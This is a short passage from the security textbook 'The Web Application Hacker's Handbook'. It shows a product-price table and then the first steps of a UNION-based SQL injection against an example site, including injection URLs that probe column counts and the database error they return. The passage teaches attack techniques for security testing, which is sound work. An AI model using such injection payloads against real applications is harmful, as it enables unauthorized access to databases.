The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

PRODUCT

PRICE

Netgear Hub (4-port)

£30 

Netgear Hub (8-port)

£40 

First, we need to determine the required number of columns. Testing for a

single column results in an error message:

https://wahh-app.com/products.asp?q=hub’%20union%20select%20null--

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL

statement containing a UNION operator must have an equal number of

expressions in their target lists.

We add a second 

NULL

, and our query is executed, generating an additional

item in the results table:

https://wahh-app.com/products.asp?q=hub’%20union%20select%20null,null--